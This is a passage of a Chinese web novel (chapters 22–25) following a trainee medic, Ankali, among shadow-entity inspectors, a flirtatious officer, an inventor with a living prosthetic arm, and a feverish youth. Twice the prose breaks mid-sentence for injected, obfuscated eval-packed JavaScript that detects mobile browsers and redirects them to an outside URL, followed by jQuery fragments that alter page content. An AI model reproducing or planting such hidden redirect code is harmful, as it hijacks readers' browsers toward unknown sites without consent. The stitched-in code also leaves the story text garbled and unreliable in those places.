江祈也没有为这个称呼感到诧异,放下袖子,从凳子上站起来,对着她说了一声:“好,谢谢。” 安卡莉看着他只以为是简单的应答,但又好似从那双时常冷淡的神情中看出了一丝波澜。 也只是一瞬,便在对方视线也看过来时,闪躲开。 江祈再迟钝也发现了对方的异常。 他眼眸落在被对方包扎好的手上,轻轻摩挲着上方的敷料,从刚才脱下的上衣口袋中拿出一个小小的盒子。 在她的不远处问道:“你对异物阴影感兴趣吗?” 安卡莉点头,虽然她只是生物健康方面的,但那可是异物阴影哎,哪个实验员能不感兴趣? “这个给你。” 江祈将手掌平摊,在他宽大的手心里正躺着一个正正方方的透明盒子。 里面是一小节章鱼触角,或者更准确一点说那是触角的阴影。 看见这东西的时候,安卡莉抬头,也就是说他们不仅遇到了异物,还遇到的是已经进行畸变的异物阴影。 如果一开始她对于这个职业的认知仅仅停留在表面,那现在亲眼看见异物阴影时则感受到了这份职业的真实性和危险性。 “你们……” “我们是稽察员,卡莉。” 江祈知道对方在想什么,率先宽慰道。 突然之间,她刚才感受到的压迫感一下子消失了。 就好像是从对方身上感受到了他作为稽察长的职责和信仰一样。 见对方陷入沉思,江祈重新唤了一声:“卡莉?” 安卡莉回神,望着他,顺着他的视线看向他手中的盒子。 异物阴影看得见,摸不着,所以用其他普通的盒子是无法将其装起来的,因为它和影子的构造是一样的。 至于为什么现在的章鱼触角可以被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15773695|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装起来,那是因为它外面的透明盒子,盒子的材质是理纳材料,这是唯一可以困住异物阴影的材料。 “我可以拿吗?”,安卡莉不太确定道。 这是她第一次见异物阴影,和书上描述的简直一模一样,没有实体只有一层黑色阴影。 像养在器皿里面的水母,和水融合在一起,感觉不到它的实体,只能看见像雾一样的丝线。 “可以。” 安卡莉小心拿起那不到食指宽的透明盒子,清楚的看见了里面的阴影,甚至能看清楚章鱼足的吸盘,是货真价实的异物阴影。 “不能打开。”,江祈提醒。 “里面放了毗酸若剂。” 安卡莉有些郑重的点了点头,“我明白。” 倒不是因为打开盒子会造成什么影响,单纯是因为放了毗酸若剂的盒子只要一打开异物阴影就会死亡,然后瞬间消失。 所以这是稽察员平时用来捕捉,清除异物阴影的耗材。 稽察员只要瞄准开枪射击,就能将理纳材料射出覆盖在异物阴影身上,等其自动硬化就会形成固定的几种尺寸捕捉到异物阴影。 但理纳这种材料对小型异物阴影好捕捉,但对大型的异物阴影就需要向将其切分,再进行分段处理。 可,众所周知,异物阴影摸不着,所以切分这一个简单的行为就变得极其复杂。 当然,有人会说,为什么不将理纳材料做出更大的尺寸,这样不管多大的异物阴影都能进行捕捉。 这是因为受限于这种材料的延展性差和高昂的价格,目前为止,最大的尺寸存在于稽察部的实验室,也仅仅只有2m×2m。 这个还没有稽察部审讯室大的理纳盒子却花费了数个亿。 这时。 她听见了对方的声音:“卡莉,不要看起来太好说话。” 那双深褐色的眸子平波无澜,好像这只是一个单纯的问题并不包含任何的情绪。 “啊?” 安卡莉抬头望向他的眼睛。 顺着他的视线,她看见了不远处将视线放在他们这里的稽察员。 似乎在等待着他们说完话一样。 安卡莉想到舒敏说的话,再联系到现在江祈说的话。 瞬间意识到了什么,她的目光和江祈的对视上,点了点头:“好。” 稽察部里大部分的稽察人员都是已经经过异化期的异化者,如果受到情感波动也许会出现假性安抚期,因此当时舒敏才会特地提点了一下她。 “这不是江长官吗?” 一道不是很友善的声音传到了安卡莉的耳边。 她转过身去看。 也许是因为光线是正对着她的原因,导致她看不清楚他的长相,只能看见他的身材轮廓。 不得不说单单从这一点上来看,这人身材甚至比江祈的更胜一筹。 他穿着纯黑色的制服,腰间被皮带束紧,肩膀撑起整个审讯服的轮廓,背脊宽厚,真正的诠释了宽肩窄腰这个词。 下方的黑色的裤子包裹住粗壮的大腿,白色的腿环映入安卡莉的眼帘,他穿着军靴站在他们的不远处。 不同于江祈身上的金色四瓣花,对方的肩上是银色的四瓣花,这就说明他是霍内德的高级警官,就职级来说,对方比江祈高上一级。 “宋警官。” 尽管对方的语言有所不当,江祈也客气道。 “今天一来就遇见了江长官,说明我运气还是不错的。”,他说话的语调里带着笑,但一听就是那种阴阳怪气的笑。 安卡莉不着痕迹的看了他一眼,他的五官立体深邃,嘴角带着笑,狭长的桃花眼里含着情,引诱人朝他靠近,隐隐透出一种狐狸的既视感。 额前是一些碎发,但被打理得很有层次,脑后是如墨的长发,长及腰侧。 安卡莉望了望自己的头发,对方的长度比她还甚。 但配上他那张眉骨中都透着清锐的脸,只会让人感到容貌极甚。 然后她的视线忍不住放在了他鼓鼓囊囊的胸口上,连带着霍内德的徽章都撑得有些变形。 安卡莉发誓她真的没有任何的想法,是不由自主地就看过去了。 江祈目光落在安卡莉的身上,然后移开。 “有事吗?宋警官。” 说到正事,对方的神情收敛了不少,准备说什么时,视线突然看向了安卡莉,神情明显停顿了一下。 然后像是突然来了兴趣一般,朝着安卡莉弯着眼笑,“你好,我是宋以观。” 23. 第二十三章 安卡莉看着面前这只手,将自己的手附上去,“宋警官你好,我叫安卡莉。” 这瞬间,她感受到了对方手掌里有着一层厚厚的茧,像是粗糙的纸张摩挲着她的手心,有很强的异物感。 安卡莉松开了手,但对方还持续着握手的动作。 她望向对方,就见宋以观嘴唇微启:“卡莉小姐方便给我一个联系方式吗?” 她动了动嘴,还没等说出话,就听见。 “宋警官,这里是稽察部。”,江祈用着较严肃的语调警告,他压着心中的不耐,“如果无事的话,你可以回去了。” 到这,宋以观松开了她的手,一改刚才的肆意,“是关于反抗组织的。” 安卡莉知道自己现在该离开了,这种军事机密就不是她该听的。 当她觉得这是她第一次也是最后一次遇到宋以观的时候,他又出现在了安卡莉所在的医疗室里。 “卡莉小姐。”,宋以观坐在医疗室里的那张塑料凳子,撑着桌上的手托着脸,侧着头嘴角含笑地朝她打招呼。 安卡莉动了动唇,但最终也没说出些什么出来。 面前的人长着一双桃花眼,微微上挑,漆黑的双眸中闪烁着亮光,充斥着狡黠,鼻梁高挺,唇边永远带着笑容。 这张脸她挑不出什么错来,但她也知道,这人就像是那些生长在茂密森林里的彩色蘑菇一样,外形越鲜艳死得越快,最好不要轻易招惹。 “宋警官,请问有什么事吗?”,安卡莉嘴角微微上扬露出一个客气的笑容。 不过分讨好也不虚假。 宋以观轻动了一下睫毛,纤长的睫毛在他的眼下覆盖上了一层阴影,让安卡莉更加看不清他的想法。 “如果有人威胁到了你,你会怎么做?”,低沉带着笑意的声调从对方的口中说出,但很显然不是什么好话。 突然被问到的安卡莉愣了一瞬。 几个问句浮现在她的脑中。 这种问题为什么会问她? 和她有什么关系? 她又没威胁过他,甚至连面都只见了两次,她抬头看了看对方,很显然是在等她的回答。 安卡莉打起精神,思考了一会儿,犹豫开口:“报复他?” 对方这么问不一定是要从她这里得到一个答案,也许只是想验证自己的想法是不是和普罗大众一样,以此作为判断标准? 但她好像猜错了,因为对方嘴角的笑消失了,反而用着墨黑的眸子沉沉的看着她,不知道在想什么。 “叩叩叩。” 安卡莉顺着敲门的方向看过去,穿着稽察制服的江祈站在门口,神色冷漠的看着里面的两人。 “希望没有打扰你们。” 她摇了摇头。 没有打扰,甚至可以说时间正好。 宋以观看见来人,从凳子上站起来,脸上重新挂上笑,“这么担心?” ? 听得一脸懵的安卡莉来回看。 这是打什么哑谜? 难道是在说她? 江祈没有回答他的话,而是对着安卡莉道:“有位稽察员的身体出现了过敏反应。” 过敏反应? 安卡莉皱眉问:“出现了什么症状?过敏情况严重吗?” 边说她边打开柜子将治疗ori阻断剂的过敏药物装进口袋里。 “身上起红斑,范围随着时间越来越大,但目前为止还没有出现呼吸不畅的症状。” ori-7异化药剂和很普通的药剂一样都会出现过敏反应,但一般来说稽察员早应该在入职之前就应该接受过ori-7异化药剂的苗种。 苗种是一个在患者身体里种植试剂的项目,目的是为了让患者对这种药剂进行脱敏,以免注射药剂之后出现过敏反应。 所以…… 安卡莉视线飘向他,张开问道:“他没有接受过ori-7异化药剂的苗种?” 江祈摇头,“接受过。” 这是录取稽察员时的必检项目。 “先带我过去。”,虽然她不明白为什么做了苗种还会过敏,但现在显然不是想这些的时候。 江祈转身,冷冽的眼神带过还在屋子里的人,没有开口说什么,而是跟上安卡莉的脚步。 一时之间,医疗室中只剩下宋以观,他双手交握,摩擦着手腕处的袖扣,漠然的看着面前的门。 即使江祈是因为稽察员过敏而来,他依旧不相信只有这一个原因。 安卡莉,会成为他的弱点吗? 脚步匆忙的安卡莉到达他们的办公区域,一个面色潮红的稽察员坐在休息区大口呼吸。 身上已经出现了明显的色块,皮肤凸起,显而易见就是过敏症状。 安卡莉弯腰询问对方有没有对其他药物过敏,得到‘没有’的回答之后便将自己带来的药剂配好,重新在他的另一只手肘处将药液推进去。 效果很明显,对方的呼吸慢慢趋于平稳,虽然脸色苍白,看起来还很骇人,但总归开始好转。 “谢谢。” 对方白着一张脸抬头对安卡莉说道。 抽出注射器的安卡莉将棉签按压在他的手肘处,才露出柔和的笑意,“不用谢,这是我该做的。” 说完,安卡莉起身站立,等待着江祈的一下步指示。 江祈穿着熨烫妥帖的稽察服,站在一旁,见状薄唇轻抿,没有丝毫的弧度,眉眼往下压,脸上透着一股冷峻之意。 他扫了一眼坐在休息区的稽察员,视线落在他逐渐退散的红斑上,抬眸对着安卡莉说道:“跟赵绮报备一下,为他们安排一次血液采集。” 听到这话的安卡莉点了点头,然后将手中的注射器丢进废弃物处理箱。 至于这个他们,当然是包括所有稽察员在内的人。 这样做的确是一种保障,以防还有第二个同样的情况。 除此之外她还想到了,如果对方身上没有检查出苗种的痕迹,这说不定是……稽察部内部出现了问题。 “那江长官,我就先回去了。” 她留在这里也没有任何的作用,事情做完了自然得离开。 江祈没说话,算是默认。 等回到医疗室,安卡莉跟赵绮说了进行血液采集这件事。 赵绮双手插进白大褂的口袋里,靠着门框,“江长官说的?” 她点了点头。 赵绮皱了下眉,低声道:“怎么偏偏挑在这个时候。” 听见对方这么说,安卡莉不免问道:“发生什么事了吗?” 一般这样说都是因为时间错不开导致事情集中在一起需要同时处理。 赵绮有些疑惑地问:“你没听说今天发生的事吗?” 这件事还是从实验室出来的,比起她们待在稽察部的人, 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她对着赵绮露出一个发自内心的笑,眸光清亮,“谢谢赵老师。” 看着对方明亮的眸子和微弯的眼睛,赵绮咳嗽了一声,收回了光屏。 “明天,你也来医疗室帮忙,我会跟你的带教说明情况的。” “除了稽察长说要采集稽察员的血液之外,实验员的血液也要一起采集,避免再次出现异物种子发芽的情况。” 所以,这才是为什么昨天舒敏没有通知她轮班的原因? 因为在实验员中有人身上出现了异物种子,并且发芽了,她才会今天一早红着双眼,一脸疲惫的样子。 至于采集血液为什么不去霍内德生物医疗总部,那是因为稽察人员大部分都是异化者,他们的血液信息不能轻易透露出去。 在霍内德不止稽察部是由霍内德中心区最高司法部进行监督管理,就连稽察部下属部门的实验室和医疗室都是直接受其管理,不受三区其他部门进行管理。 安卡莉看着【三区稽察总部】的消息,才知道那名实验员的背脊上长出一颗绿芽。 因为冬天穿的衣物比较厚重,即使脱掉了外套,也不会很明显的看出来,而且地方是视线盲区,连他本人也没有注意到。 所以从异物种子发芽到吞食掉实验员的心脏变成异物期间,根本没有任何人发现不对劲。 只不过觉得对方越来越消瘦而已。 从综合大厦走出来,安卡莉抬头看着堆积在灌木中和树枝上的雪层散落下来,然后露出绿色的部分。 雪没有再继续下了,只有一些冷空气遗留在空中,比起早上要暖和不少。 医疗室的下班时间比实验室的时间早,这也算是见习生的一点点福利了,因为她不用值班。 当然,如果没有看见交叠着腿坐在椅子上的人话,她会比现在更开心一点。 宋以观在看见安卡莉的时候笑了,是那种发自内心的笑。 但给安卡莉的感觉更像是守株待兔,看着兔子落入圈套,运筹帷幄的感觉。 他放下腿,站起身来,长发垂在身后,在光线的照射下,拉出细长的阴影。 “卡莉小姐,又见面了。” 对方带着笑意的眼睛直直看着她。 24. 第二十四章 宋以观既然是来找她的,那就说明对方是有诉求的,无论这份诉求是什么,现在的她都拥有了主导权。 思及此,安卡莉抬头,以同样的方式望向他,嘴角弯了弯,“宋警官。” 她只是打了一个招呼,没有进行下一步的询问。 暂停了一会儿,见对方没有再说话,便打算抬脚往前走,只有求助方,需求方才会在这里等她,比如现在这位。 所以她一旦有离开的趋势就会被阻拦,让对方成为下位者。 “卡莉小姐留步。” 又比如现在。 安卡莉回头,“宋警官,怎么了吗?” 宋以观靠近,到了安全距离依旧没有停止脚步,安卡莉只是皱着眉,身体却没有挪动。 这时。 对方抬起了手,轻轻的碰了碰她的头发,拿下了一片细小的鹅毛,“你头顶有东西。” 只见他用细长,指甲修剪圆润的手指捏着小小的鹅毛,递到安卡莉的眼前。 那双饱含情意的桃花眼好像是在说,我只是在帮你,没有恶意。 “谢谢宋警官了,应该是我没有注意才沾染上的。”,安卡莉做出了一个普通人的反应,先道谢再露出羞涩的笑容。 但实际上,她今天根本没有接触过穿着羽绒服的人,而且在离开稽察部换衣服的时候,因为头发有静电,她还对着镜子用湿润的手顺了两下。 所以这根鹅毛有很大的可能是宋以观的自导自演。 可,这又是为什么? 人做一件事总该是有理由的,但安卡莉看不清楚这件事的理由。 就这段时间,她就感觉自己的四周发生了很多之前没有的事情,她的预感告诉她这些事和她有很紧密的联系。 “对我不用这么客气的,卡莉小姐。” 宋以观嘴角噙着笑,语气轻柔:“如果卡莉小姐不介意的话,我能请你吃个饭吗?” “算是……” “增进同事友情?” 说到这里的时候,他眼睫微颤,将目光轻盈的落在安卡莉脸上,颈部,以及手腕上,有种不能明说的暧昧感。 安卡莉感受到对方不算冒犯但不适地打量,抿了抿嘴,“不好意思宋警官,我今天已经约了人。” 但就算今天她没有和林澈提前约好,她也不会答应对方的要求。 “这样啊,看来我今天运气不是很好。”,宋以观沉下声音惋惜道。 但下一刻又得体地向安卡莉告别,“那卡莉小姐,祝你晚上开心,我就先走了。” 看着对方离去的身影,安卡莉半天没有动作,她似乎看不懂这人在想什么或者说想做什么。 接近她但又不过分纠缠。 举止得体但又刻意挑拨。 就好似给她一种想要让她喜欢上他的错觉。 安卡莉摇头,这样的人看似好亲近,对谁都和颜悦色,但要她说,偏偏是这样的人心思最重,洞察人心的本领也最强。 从综合大厦走出来,安卡莉来到林澈和他相约的地方。 是在加以亚大学附近的咖啡店。 木质的大门,上面是一些涂鸦,从大门推开走进去,温热的空气瞬间围着她打转。 一道清脆的叮铃铃声从她的头顶发出。 安卡莉下意识看过去,是一个铜制的铃铛,很引人注意的小巧思。 她扫了一眼整个咖啡店,没有发现林澈的身影,只好往里走随意找了一个靠窗的坐好,放下手中的围巾。 在每个桌面上都有的光屏上点了一杯颜色好看的抹茶拿铁。 说起来,安卡莉并不喜欢喝咖啡,不是咖啡不好喝,而是她喝了晚上容易睡不着。 现在太阳已经完全消失,天空中又开始飘起了雪粒,像白糖似的直往下掉。 “你好,你的咖啡。” 服务员抬着托盘将上面的抹茶拿铁放在安卡莉面前,紧接着收回手道:“请慢用。” “谢谢。”,安卡莉笑了笑。 望着窗外变成雾霾蓝的天色,她看了眼时间。 距离他们约定的七点已经过去了二十分钟。 这期间她既没有收到对方的信息,也没有看到对方任何的身影,而且雪开始下大了起来。 她想她该走了。 安卡莉抿了口咖啡,即使她不喜欢,但钱已经花了,不喝一口总感觉有些浪费。 从椅子上站起,她便朝门外走去。 “叮铃铃。” 头顶的铃铛再一次发出声音。 安卡莉将围巾围上,顺着人行道往车站走,没走出多久,迎面就看见从小巷里跑出来,头发都向后扬起的林澈。 等人到她面前,对方小声喘着气息,低垂着头,用着不稳的声音说道:“抱歉,安学姐,出了一些事所以来晚了。” 林澈胸口起起伏伏,两只微红的手交握在身前。 安卡莉看过去,他身上的衣服有些单薄,头顶还落上了不少雪,同时还闻到了对方身上还没散尽的消毒水味道。 “没事,那我们随便找一家店坐坐吧。”,安卡莉说道。 “好。” 有个女生站在他们离去的地方低喃道:“那个男人,好像是在小巷里站了很久的那个人。” 但可惜,安卡莉没有听见这句话。 坐下之后,她给两人随便点了两杯热饮,摸着温热的玻璃杯,轻声问道:“我想知道你今天为什么突然约我见面?” “据我所知,我们只见过那一面。” “安学姐,你想见证新科技的开端吗?” 林澈垂着眸,额角的发丝遮挡住了他所有的面部表情,声线异常冷静,说出的话却蕴藏着野心。 安卡莉动作一顿,看着对方藏在阴暗里的脸,莫名觉得今天的林澈似乎和那天他又有些不一样。 她摇了摇头,摒弃掉心中的想法。 怎么可能有人一天一个样? “我对这些不感兴趣。” 她不关心什么新科技,而且也不想和林澈扯上什么关系,毕竟那会很麻烦。 还有…… 她轻柔地纠正对方叫法上的错误,“我只是和莫宁是朋友,并不是在同一所大学,所以你叫我安卡莉就好。” 林澈抬眸,神色稍暗,声音低哑:“卡莉姐,我希望…你能看过成品之后再拒绝我。” 现在的林澈又恢复到了她最初见他的模样,似乎刚才那句打破了他人设的言语是安卡莉的错觉一样。 她本来是想拒绝的,但看见对方失落的神态以及那样的恳求,最终还是点了点头。 只要不要心软就好,她对自己说。 林澈在前方带着路,没有说话,只是裹紧单薄的衣服,这种企图给自己带来一点温暖的样子让安卡莉抿了抿唇。 突然之间,她觉得自己之前的猜测好像对他来说是一种伤害。 毕竟生存都困难的人,有一点小心机尝试抓住最后一根稻草也是无可厚非的,与生命相比自尊也就不是那么的重要了。 安卡莉跟着他来到了老旧的居民街道,天上都是密集得像是蜘蛛网一样的线路,上面堆积着雪层,相互交织,杂糅在一团,然后又散落下来。 两边是一些小小的门店,因为天色冷的原因显得有些冷清。 安卡莉从来没有来过这种老城区,就好像进入另一个世界一样。 她往后望去,是高楼大厦交叠相映,充满科技感的全息光屏,亮着光的每一栋大厦都透着奢靡。 而这里,只有一盏盏昏暗的灯,里面坐着蜷缩的老人,路上的行人各个神色匆忙,好像舍不得停下来一样。 林澈停下脚步,安卡莉也顺着望过去。 是一条往下延伸的楼梯,不见一点光亮。 他住这里? 林澈往后看了一眼,“卡莉姐,你在这里等等。”,说完他就继续往下走。 等走到楼梯尽头时,他按下墙壁上的开关,一道不算很明亮的白炽灯将楼梯照亮。 安卡莉摸了摸自己的手环,只要按压三次就会紧急报警,同一时间她的身份信息,所处的地点都会上报警察局。 所以安卡莉倒不是很担心自己的生命安全,不只是因为有警察的保障还有就是在霍内德犯罪成本很高,甚至还有亲属连坐政策。 安卡莉向下走去,潮湿发霉的气味一拥而上,灰色的墙面还能看见绿色的青苔,足以表现出这里的环境是有多糟糕。 林澈顺着安卡莉的视线望去,仿佛那里贴着他不堪的证据,他垂下眸子,身旁两侧的手被他握紧,指尖陷进软肉里,是钝刀子一般的疼痛,轻微但难以忍受。 安卡莉没有错过他的动作,移开视线,没有说话。 用回避照顾了他的自尊。 林澈拿出老旧的钥匙,发出叮铃哐啷的响声,打开了他面前的木质门。 只是带着皮质手套的手动作不太流畅。 安卡莉站在门口看着他把全屋的灯打开,屋子里杂乱无章,工具箱散乱开来,图纸被粘贴在墙上,地上式一些被团成团的纸张,桌面上的光屏还在跑着代码。 除了一小张床和一个白色的玻璃柜台以外,剩下的全是他研究的实验器材。 在往里走,是一堆红红蓝蓝色彩各异的器材拼接在一起的手? 就好像是从各个地方找来的器材随意拼接在一起一样。 她望向林澈,求证道:“这就是你要我看的东西吗?” 林澈点了点头,走了过去。 安卡莉亲眼看见他扯掉了左手上带着的手套,露出里面的简易装置,是一只机械臂。 到这里,安卡莉明白为什么他的左手看上去不怎么灵活了。 就见林澈将机械臂从手肘出褪下,装上了那只五颜六色的‘科技产品’,瞬间安卡莉就看见一些白色粘稠的液体紧贴着他的手臂残端,慢慢将两者连接在一起。 甚至粘液缓慢的覆盖了机械臂的表明,那些花花绿绿的颜色逐渐消失,最后变成了皮肤的样子。 如果不是她亲眼所见,完全不能相信眼前这只完整,功能齐全的手是机械臂,简直和原生的没有两样。 林澈边向安卡莉展示机械臂的灵活性边说道:“你知道实验失败之后我在想什么吗?” 似乎对方不需要她的回答,因为他在问完这个问题之后朝着她看了过去,“在想,我为什么会失败。” 那双眼睛,安卡莉不知道该怎么去形容,执着,淡漠,不似人一样。 很快,林澈似乎是感受到了她的迟疑,垂下了眸子,等再次抬起时,里面又恢复了之前的暗淡。 “卡莉姐,要来摸一摸吗?”,他直直盯着她,言语间带着些引诱的味道。 站在下方的安卡莉动了动身旁两侧的手,往前走了两步。 说实话,她也是一个实验员,不可能对这种超出科学的事情不感兴趣,所以她上手了。 温热的,是和皮肤一样的触感,在浅薄的皮层下面还有青色的脉络,任谁来看这都是一只完好无缺的手臂。 安卡莉抬头,有些不可置信地问:“你是怎么做到的?” 林澈避开了对方的问题,卸下手肘处的机械臂,瞬间,那些将皮肤覆盖住的白色粘液全部退了回去,回到机械臂的交界处。 看见这一幕的安卡莉谨慎开口:“为什么找上我?” 她并不觉得自己能给林澈提供什么太大的帮助,就凭他的这项‘技术’,完全可以倚靠更强大的资本财团,那样他会获得更多的资源。 除非……他对她有别的要求。 林澈缓慢地装上之前那只不灵活的机械臂,“如果卡莉姐愿意的话,我想请卡莉姐照看我的妹妹。” 安卡莉不确定地问:“照看?” 林澈‘嗯’了一声。 安卡莉揉了揉眉骨,不解地开口:“为什么?” 为什么要让她一个非亲非故的人照看他的妹妹? 再说了,不能请一个护工吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15792823|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “因为我过段时间要去七区。”,说到这里他停顿了一下,抬起暗淡的眸子道:“其他人我不放心。” 安卡莉皱眉,“所以,这才是你找我的目的。” 林澈没有说话,但沉默就代表了默认。 从林澈家里出来回到青山平的时候,安卡莉都还没有反应过来今天所发生的一切。 最终她也没有答应对方的要求。 因为这个要求很不切实际。 他们只见过两次面,其他人林澈不放心,难道她就长了一张很让人放心的脸吗? 而且,现在的他看起来是不需要她资助的,那为什么在加以亚大学的时候要故意让她听见,只是为了获得她的怜悯从而提出今天的要求吗? 再说了,林澈一开始想找的人是莫宁,那为什么不继续坚持? 一系列问题出现在安卡莉的脑袋里,她有些想不通。 这时。 雪花飘进她的衣服里,冷得她一个激灵。 她抬头,不知道什么时候走到了江斯理家门前。 在昏黄路灯的照射下,江斯理家里好像没有什么人,窗户都没有光透出来,一片漆黑,整栋房屋藏匿在深蓝色的背景当中。 想必是因为江斯理今早回学校了,江祈也就不打算回家才会这样。 想了想,安卡莉在江祈的对话框中敲下。 【江祈哥,如果你回家的话跟我说一声好吗?】 【我想收一下在你家里的东西。】 发送完了之后,安卡莉拍了拍头顶的雪,握紧微凉的手,见对方还没有回复,她将手揣进上衣口袋,向自己家走去。 其实她也可以进去的,因为对方给的电子密码还没有被解除。 但现在对方家里没有人,安卡莉也不好这样没有礼貌的直接进去,还是等人回来再说吧。 她打开黑色的铁门,顶着雪花向里面走。 手环突然间亮了起来,还没等她查看是谁发来的信息,就看着门口一道黑影倒了下来。 “哐当。” 一道声响发出。 感应灯也瞬间发出光亮。 这下,安卡莉才看清楚那人是江斯理。 他穿着一身黑色的衣服,如果不是有这道光,她甚至分不清他的位置在哪。 可,今天的他不是应该在学校吗? 现在怎么会出现在这里? 但现在不是想这些的时候。 安卡莉上前蹲下,拍了拍江斯理的肩,“江斯理,你怎么了?” 听见耳边朦胧的声线,他抬起了眼眸,紧接着摇了摇头,企图让模糊的视线变得清晰。 但即使看不清,萦绕在四周的木质香味也能让他知道面前人是谁。 江斯理一只手撑着站起来,另一只按压在额角,发出疼痛声。 安卡莉只能无措扶了扶他的手臂,嘴张了张,最终问出了声:“你,还好吗?” 看着面色弥漫着不正常红晕的江斯理,她蜷缩了一下手指,抬起,将温热的手心覆盖在对方额头上。 冰凉中透着滚烫的体温瞬间传到她的手上。 安卡莉又将手移到他的脸上,很冰,像雪一样,里面又透着温热,不知道这人在外面待了多久。 柔软的肌肤贴紧他的脸颊,江斯理下意识将脸往她的手里,感受轻微,让他颤栗的凉意。 安卡莉舔了舔唇,将手抽离,往后退了两步,用手环贴上了门,对着他说:“先进去吧,外面太冷了。” 江斯理垂着头,唇被抿直,不发一言地跟着对方进了家门。 安卡莉将灯打开,拿出一双拖鞋放在他的面前,说道:“你先换上,我去找体温枪。” “好。” 低哑的声音从他嘴里发出。 少年的身躯塌了些下来,遮挡住了身后的灯光,本就不清晰的眼神此刻变得更加晦暗不明。 也许是身体过于无力,他摇晃了一下,用手撑住了旁边的柜子。 手臂青筋暴起,手指骨节泛红,是用力所至。 这是安卡莉回来时看见的场景。 只见他皱着眉,换上了地面的拖鞋,撑着墙面朝她一步一步走过来。 安卡莉拿着体温枪走到他的面前,征求对方的意见,“我们先测一□□温,如果太高了就去医院怎么样?” “嗯。” 这是他下意识的反应。 因为此时他的脑袋开始浮沉,似云一样飘在空中,没有着力点,就好像没有思维全靠本能一样。 听着耳边的声音,他只能胸腔气息带动声音。 气味太淡了。 她离他太远了。 应该近一些,再近一些。 听见对方的回应,安卡莉伸出手,举起体温枪。 这时。 就见眼前人晃了两下,然后倾倒而下,安卡莉也因为惯力往后推了两步,直至腰抵在椅子靠背上。 灼热的呼吸声,一起一伏全都洒在了她的耳廓,引得她耸了耸肩,企图擦掉着磨人的痒意。 安卡莉一只手拿着体温枪,另一只手拍了拍对方的肩,“江斯理,你还好吗?” 在这一声之后,安卡莉发现对方将她箍得更紧了一些,双手环抱住她的腰,头埋进她的颈窝。 嘴里不知道在说些什么,只能感受到充满着湿气的呼吸。 他轻轻喘息,好像什么东西突然被满足了一般。 安卡莉只感觉自己颈后的皮肤像是被烧着了一样,激起了一片颤栗,里面扬起了细细密密的小疙瘩。 江斯理只觉得这样不够,要更近一些才好。 近到两人融为一体,最好是她的气息,呼吸,以及浅淡的味道都融到他的身体里,皮肤上,甚至更深的地方。 他能闻到混杂着柔和气息的木质味道,和她一样,清香,悠远。 她的发丝拂过他的鼻尖,引起一阵莫名的痒意,好似从后颈传来,又好似在灵魂深处,总之落不到实处。 25. 第二十五章 安卡莉叹了一口气,推了伏在她肩上的人,没有推动,有些无奈的道:“江斯理,你先起来好不好?” 意识有些回拢的江斯理松了松箍住她腰的手。 此时的安卡莉没有想到他能这么听话,但,她用力推出的手已经收不回来了。 也许因为对方身上根本就没有什么力气,导致江斯理被推到墙上,发出一道闷哼声。 “咔哒。” 墙面上的开关也被误关上。 突然陷入的黑暗让安卡莉有些不适。 而且一旦眼睛看不见了,耳朵也变得更加灵敏起来。 粗重的呼吸声和细微的摩擦声在此刻就显得异常明显。 安卡莉打开手环光源,还没有想好做什么时,就听见一声沙哑,低沉的声调,“卡莉。” “嗯?” 随着她声音的上扬,一条冰凉,柔软的触感顺着她的脚踝往上攀爬,似若无骨。 安卡莉瞬间反应过来这是什么。 她有些诧异地开口:“你的类肢没有消失?” 江斯理‘嗯’一声,但似乎是引起了哪里的疼痛,接着发出一道吸气声。 现在的他,思绪彻底清晰起来。 听到她一些声响,江斯理叫停,“你,别过来。” 安卡莉:“……” 其实她根本没有往前走,再说了脚踝上有藤蔓她也走不了。 说到藤蔓,安卡莉的眉头皱起。 现在的江斯理并没有变成异物,神情虽然说不上清晰,但却是具有思维逻辑的,异物没有这样的能力,而且异物没有人形。 可,现在的他却出现了类肢。 突然,一个念头出现在她的脑中。 安抚后遗症。 “你出现了安抚后遗症?”,她问。 漆黑无光的空间中,柔和的声音打破了平静。 江斯理没有正面回答她的问题,而是用着浅褐色的眸子盯着她所在的位置,“你说过,我们只是朋友。” 安卡莉听出了他的言外之意,我们只是朋友,所以你没有必要了解那么多。 只是…… 她弯腰扯了扯已经顺着小腿爬上来的藤蔓,“既然如此,你能不能让这些小家伙从我身上下去?” “嗬。” 被触碰的瞬间,江斯理发出一声低喘。 手促然收紧,一股令人颤栗的尖锐酥麻感瞬间涌到他的神经末梢,甚至瞳孔都扩散了些,耳边尽是些扰人的声音。 【莉莉莉莉莉莉】 【好舒服,好喜欢】 【再来一次!】 【扯这里,扯这里!】 一条细软的藤条绕进她的手心,还打着卷似的往她指缝里钻,点了点她的指尖,像是和她在互动一般。 “咚。” 一道撞击声让门外的感应灯瞬间发出光芒。 安卡莉这才看见外面的门竟然没有关紧,留下了一条不是太宽的缝隙,而黄色的光线就是从这里散进来的。 但。 刚才那声音是…… 她转头去看面前的人,借着微弱的光线看清楚了跪倒在地的江斯理。 “呃嗯……” 江斯理咬着牙还是没能避免的发出压抑的呻吟,他低垂着头,露出白莹莹的后颈,上面覆盖着些细汗,细碎的发丝粘连在上方。 如果说刚才是疼,现在就是痒。 被她轻轻触碰的藤蔓传来酥麻,仿佛连同着脊椎骨都被她握在手心一样,从心房漫上细微的痛痒。 江斯理抬起湿润的眸子望向她的手,飘忽的意识当中竟希望她再用力一些,最好掐着尖磨一磨。 